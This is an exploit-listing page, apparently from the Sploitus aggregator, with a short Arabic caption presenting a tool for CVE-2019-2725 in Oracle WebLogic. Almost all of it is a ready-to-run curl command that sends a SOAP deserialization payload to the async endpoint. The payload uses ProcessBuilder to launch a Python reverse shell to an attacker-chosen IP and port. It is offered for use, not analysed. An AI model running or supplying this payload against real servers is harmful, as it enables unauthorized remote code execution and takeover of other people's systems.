Sploitus

Exploit

CVE-2019-2725

kitploit · 2026-08-25

Exploit Code

MARKDOWN36 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CALEGARIMINDSEC-EXPLOIT-CVE-2019-2725
# استغلال CVE-2019-2725

أداة استغلال بسيطة لـ CVE-2019-2725.

  * مثال على الكود:



root@kitploit:~
    
    
    curl -X POST https://127.0.0.1/_async/AsyncResponseService -H "Content-Type: text/xml" -d '<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
        <soapenv:Header>
            <wsa:Action>xx</wsa:Action>
            <wsa:RelatesTo>xx</wsa:RelatesTo>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <void class="java.lang.ProcessBuilder">
                    <array class="java.lang.String" length="3">
                        <void index="0">
                            <string>/bin/bash</string>
                        </void>
                        <void index="1">
                            <string>-c</string>
                        </void>
                        <void index="2">
                            <string> python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"MY_IP\",MY_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")" </string>
                        </void>
                    </array>
                <void method="start"/></void>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body>
        <asy:onAsyncDelivery/>
        </soapenv:Body>
    </soapenv:Envelope>' -k